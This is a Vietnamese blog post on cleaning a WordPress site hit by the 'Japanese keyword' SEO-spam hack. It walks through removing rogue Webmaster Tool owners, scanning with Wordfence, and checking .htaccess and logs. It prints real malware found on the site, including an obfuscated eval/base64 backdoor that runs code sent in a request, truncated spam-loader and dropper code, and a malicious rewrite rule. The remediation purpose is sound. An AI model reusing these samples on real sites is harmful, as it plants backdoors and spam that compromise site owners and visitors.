Mình biết phải tốn rất nhiều thời gian và công sức để SEO các từ khóa lên Top. Tuy nhiên, khi các website khi không may bị dính mã độc sẽ khiến công sức các bạn gầy dựng bao lâu có thể tan thành mây khói chỉ trong vài ngày.
Bài viết sau đây sẽ hướng dẫn các bạn cách chi tiết cách fix lỗi site bị nhiễm mã độc và index tiếng Nhật. Mình sẽ không đi sâu vào lý do việc website bị hack.
Các website dùng WordPress thường là đối tượng bị dính mã độc khá nặng, khiến cho website tự động index link tiếng Nhật lên kết quả tìm kiếm Google, điển hình như sau:
9sAds by Blueseed
1. Kiểm tra quyền truy cập WMT Webmaster Tool
Website bị nhiễm mã độc và index link tiếng Nhật sử dụng liên kết đến các cửa hàng bán hàng giả mạo và sau đó được hiển thị trong tìm kiếm của Google (Có thể kiểm tra những đường link này theo dạng site:domain). Với loại hack này, hacker thường sẽ tự thêm mình làm chủ sở hữu tài sản trong Google Webmaster Tool (WMT). Vì thế, bước đầu tiên bạn phải xóa quyền sở hữu của tài khoản lạ trong WMT
– Vào đường link sau https://www.google.com/webmasters/verification
– Vào “Chi tiết xác minh” để xem cách “tài khoản lạ” xác minh sở hữu website.
– Sau đó, vào CMS để xóa quyền sở hữu website này. (Trước khi bắt đầu, tạo một bản sao của bất kỳ tệp nào trước khi bạn xóa chúng, trong trường hợp bạn cần khôi phục chúng sau)
+ Mã thông báo xác minh cần xóa thường là tệp HTML trên thư mục gốc của trang web trên CMS.
+ Bạn thường có thể kiểm tra xem đã xoá thành công mã thông báo xác minh được tạo ra bằng cách điều hướng đến tệp token xác minh mô phỏng như thế nào www.example.com/google[random number and letters].html
Ví dụ: Website của mình có một mã xác minh: google-site-verification: google0003f30bc19bd379.html. Trên thanh URL gõ đường dẫn Domain/google0003f30bc19bd379.html. Nếu kết quả là 404 thì bạn đã xóa thành công tài khoản này
– Đi kèm với xác minh chủ sở hữu bằng tệp token, hacker cũng chèn vào một file Sitemap chứa các link độc hại để website index các link này nhanh hơn. Bạn cũng cần xóa file này đi
2. Download Plugin Wordfence Security về để quét toàn bộ site
Đây là cách rất nhanh để xác định các tập tin được hacker rải mã độc vào CMS. Đây là một plug-in về bảo mật miễn phí của WordPress . Sử dụng chức năng “scan” để quét các file. Sau đấy bạn dựa vào đó để sửa từng thư mục. Update các theme, phiên bản WordPress .
Các khối mã cần xóa:
Quét qua các tệp tin đáng ngờ mà bạn đã xác định để tìm các khối mã obfuscated. Mã obfuscated như một sự kết hợp của các chữ cái và chữ số sắp xếp lộn xộn thường được đặt trước bởi sự kết hợp của các hàm PHP như:
base64_decode, rot13, eval, strrev, gzinflate
Một số cấu trúc mình đã xóa:
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = ‘mapss259.xml’;
$jdir = ”;
$smuri_tmp = smrequest_uri();
if($smuri_tmp==”){
$smuri_tmp=’/’;
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
if (isset($_SERVER[
‘REQUEST_URI’])){
$smuri = $_SERVER[‘REQUEST_URI’];
}else{
if(isset($_SERVER[‘argv’])){
$smuri = $_SERVER[‘PHP_SELF’] . ‘?’ . $_SERVER[‘argv’][0];
}else{
$smuri = $_SERVER[‘PHP_SELF’] . ‘?’ . $_SERVER[‘QUERY_STRING’];
}
}
return $smuri;
}
$O00OO0=urldecode(“%6E1%7A%62%2F%6D%615%5….”);$O00O0O=$O00OO0{3}.$O00OO0{6}.$O….
?>
/**
* @package wordpresss
* @subpackage Template.system
*
* @copyright Copyright (C) 2005 – 2017 Open Source Matters, Inc. All rights reserved.
* @license GNU General Public License version 2 or later; see LICENSE.txt
*/
$p = getcwd();
echo $p;
?>
$uf=”aXRvbmd0b”;
$ka=”ZXZhbCgkX1″;
$pjt=”JFUVVFU1Rb”;
$vbl = str_replace(“ti”,””,”tistittirti_rtietipltiatice”);
$iqw=”25nXSk7″;
$bkf = $vbl(“k”, “”, “kbakske6k4k_kdkekckokdke”);
$sbp = $vbl(“ctw”,””,”ctwcctwrectwatctwectw_fctwuncctwtctwioctwn”);
$mpy = $sbp(”, $bkf($vbl(“W”, “”, $ka.$pjt.$uf.$iqw))); $mpy();
?>
Decode đoạn trên ra kết quả. Bạn sẽ tìm thấy request này ở file error_log
Một số dòng có ở đầu file có dạng :
”
Bạn có thể so sánh file bị thay đổi so với mã nguồn WordPress : https://github.com/WordPress/WordPress nếu không biết cần phải xóa những đọan nào.
– Tìm kiếm vị trí các file .htaccess. Keyword “.htaccess file location” + tên CMS (WordPress, Joomla, …)
– Tìm kiếm file .htaccess mặc định. Keyword “default .htaccess file” + tên CMS (WordPress, Joomla, …), thay thế vào các file đã có.
4. Sau khi xóa sạch mã độc, index nhanh lại các link bị mất
Lưu ý: .htaccess thường là một “tập tin ẩn”. Hãy cho phép hiển thị tất cả các tập tin ẩn khi bạn đang tìm kiếm vị trí những file đó
Vào phần “Lỗi thu thập dữ liệu” trên WMT để xóa các link 404
Cách kiểm tra website đã fix xong chưa
Do cache nên sau khi fix sẽ phải chờ 1 khoảng time dài để biết website đã fix hết link tiếng Nhật chưa. Có thể kiểm tra nhanh bằng các cách sau:
– Thứ hạng từ khóa trở lại
– Gõ tìm kiếm sau: “site:domain japan”
5. Vấn đề với tập tin index.php
Có một việc mất khá nhiều thời gian của mình là mã độc ở tập tin index.php. Mỗi khi mình xóa, đến hôm sau lại xuất hiện mã độc tại file này.
@set_time_limit(3600);
@ignore_user_abort(1);
$xmlname = ‘mapss259.xml’;
$jdir = ”;
$smuri_tmp = smrequest_uri();
if($smuri_tmp==”){
$smuri_tmp=’/’;
}
$smuri = base64_encode($smuri_tmp);
$dt = 0;
function smrequest_uri(){
if (isset($_SERVER[‘REQUEST_URI’])){
$smuri = $_SERVER[‘REQUEST_URI’];
}else{
if(isset($_SERVER[‘argv’])){
$smuri = $_SERVER[‘PHP_SELF’] . ‘?’ . $_SERVER[‘argv’][0];
}else{
$smuri = $_SERVER[‘PHP_SELF’] . ‘?’ . $_SERVER[‘QUERY_STRING’];
}
}
return $smuri;
}
$O00OO0=urldecode(“%6E1%7A%62…”);$O00O0O=$O00OO0{3}…;eval($O00O0O(“JE8wTzAwMD0….
?>
Trong khi phân tích các tập tin, mình tìm thấy một tập tin đáng ngờ. Tên tệp là ” db_lookups.php ” trong thư mục public_htmlwp-contentthemestwentyfourteen. Sau đó, mình tìm trong mã nguồn WordPress thì “Không có tập tin nào tên là db_lookups.php”
Ngoài ra còn có tập tin ” comay.php ” trong thư mục public_htmlwp-contentthemestwentyfourteen. Cũng không có trong mã nguồn WordPress và cần xóa. Tập tin này tự động sinh ra các link khiến cho lượng index website tăng lên hàng nghìn, hàng trăm nghìn link
$code=’bas’.’e64_d’.’eco’.’de’;
$yzcW=gzinflate($code($yzcW));
for($i=0;$i<>
{
$yzcW[$i] = chr(ord($yzcW[$i])-1);
}
return $yzcW;
}eval(OLsy(“
7b37e1zHcSD6O/R9+h+ao7HOjDiYBwi+AA4IEA8SEgh…));?>
Tiếp theo, kiểm tra trong file .htaccess
# BEGIN WordPress
RewriteEngine On
RewriteRule ^[a-zA-Z0-9]{3}([a-zA-Z0-9]{5,19})/([0-9]{1,7}).xhtml$ index.php?tempweb=$1&smid=$2 [L]
RewriteBase /
RewriteRule ^index.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
# END WordPress
Trong tập mặc định file .htaccess không có dòng này:
RewriteRule ^[a-zA-Z0-9]{3}([a-zA-Z0-9]{5,19})/([0-9]{1,7}).xhtml$ index.php?tempweb=$1&smid=$2 [L]
Sau đó, mình kiểm tra file access_log trong thư mục logs/access_log tìm thấy 1 request đến file db_lookups.php
[21/Aug/2017:10:47:40 +1000] “GET /wp-content/themes/twentyfourteen/db_lookups.php?u=i&m=UJSLJ7JVSK9U&web=chargespeed.pw&k=r HTTP/1.1” 200 171 “-” “Googlebot”
Mình đã xóa mã được chèn vào index.php và nhập vào đường dẫn sau:
Domain/wp-content/themes/twentyfourteen/db_lookups.php?u=i&m=UJSLJ7JVSK9U&web=chargespeed.pw&k=r
Sau đó kiểm tra tập tin index.php và đã có mã độc trở lại.
Phần 5 này mình chia sẻ cho những ai đang thực hiện bảo mật bằng website bằng file .htaccess và không muốn sửa các tập tin này.
DienDan.Edu.Vn Cám ơn bạn đã quan tâm và rất vui vì bài viết đã đem lại thông tin hữu ích cho bạn.DienDan.Edu.Vn! là một website với tiêu chí chia sẻ thông tin,... Bạn có thể nhận xét, bổ sung hay yêu cầu hướng dẫn liên quan đến bài viết. Vậy nên đề nghị các bạn cũng không quảng cáo trong comment này ngoại trừ trong chính phần tên của bạn.Cám ơn.